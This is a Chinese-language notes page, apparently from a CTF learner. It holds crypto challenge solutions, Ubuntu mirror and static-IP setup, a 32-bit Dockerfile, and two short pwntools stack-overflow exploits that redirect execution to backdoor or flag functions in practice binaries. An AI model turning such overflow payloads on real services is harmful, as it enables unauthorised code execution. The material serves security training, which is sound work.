eg1
WGRMcdt{Rxqtsdgncdghxqz}a=7,b=3TZCFlag{Congratulations}
Url编码
%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7dflag{and 1=1}
变异凯撒
ASCII码值f–>102l–>108a–>97g–>103每对一位字母进行加密,偏移量依次增加1编写Python代码: 12345txt='afZ_r9VYfScOeO_UL^RWUc'start=5for i in txt: print(chr(ord(i)+start),end='') start+=1 flag{Caesar_variation}
看我回旋踢
观察这串密文,我们可以发现开头正好四个字母,并且跟着个括号,这和flag{}非常相像,而且题目给我们提示“回旋” 由此我们可以推断出synt是flag经过移位后得到的,这就是凯撒密码。凯撒密码首先选定一个移位数n,比如n=3,那么a经过加密后就是d。所以我们在这道题中应该先推测出移位数,s->f数13次后便得到f,因此移位数就是13,我们可以从网上找到转换器得到结果
apt源
Types: debURIs: http://mirrors.ustc.edu.cn/ubuntu/Suites: noble noble-updates noble-securityComponents: main restricted universe multiverseSigned-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
关闭自动更新
sudo nano /etc/apt/apt.conf.d/20auto-upgrades APT::Periodic::Update-Package-Lists "0";APT::Periodic::Download-Upgradeable-Packages "0";APT::Periodic::AutocleanInterval "0";APT::Periodic::Unattended-Upgrade "0";
配置静态ip
sudo -i #root用户 ls -l /etc/netplansudo chmod 600 /etc/netplan/01-network-manager-all.yaml #修改文件权限sudo nano /etc/netplan/01-network-manager-all.yaml #更新配置文件内容 network: version: 2 renderer: NetworkManager ethernets: ens33: addresses: [192.168.142.132/24] # 设置静态IP地址和掩码 routes: - to: default via: 192.168.142.2 nameservers: addresses: [114.114.114.114,8.8.8.8] # 设置主、备DNS dhcp4: false ...
32位dockerfile
# 使用32位基础镜像FROM --platform=linux/386 i386/ubuntu:20.04ARG DEBIAN_FRONTEND=noninteractive# 不再需要添加i386架构,基础镜像已为32位# RUN dpkg --add-architecture i386 && apt-get -y update# 基础工具RUN apt-get update && apt-get install -y \ apt-transport-https \ vim \ git \ curl \ wget \ sudo \ netcat-openbsd \ openssh-server \ unzip \ bison \ flex# Python工具RUN apt-get update && apt-get install -y \ python3 \ python3-pip \ python3-venv \ python3-dev...
gets
32位仅部分开启RELRO保护栈布局: [ s[36] ] [ ebp ] [ 返回地址 ] 声明了一个长度为 36 字节的字符数组 s,调用 gets 函数,并将 s 数组作为参数传递给它,然后将 gets 函数的返回值作为 ctfshow 函数的返回值。 这里是 28h,也就是 0x28,对于 32 位程序,我们 payload 还需要加 4 。(根据程序是 32 位还是 64 位,对应加上 4 或 8 个字节的 ebp(栈底))漏洞在于 printf(s) 直接使用文件内容作为格式字符串,这会导致: 如果文件内容包含格式化字符(如 %x, %p, %s),会泄露栈内存 可能造成内存崩溃(如使用 %n 写入内存)右键Text view知道get_flag函数的地址在0x08048586 from pwn import * context(arch='i386',os='linux',log_level='debug')p = process('./pwn2') #本地连接#p=remote(...
overflower
from pwn import *p = remote(' ',端口号) backdoor_addr = 0x401146 payload = b'A' * 72 +p64(0x40115B) + p64(backdoor_addr)p.sendline(payload) p.interactive()







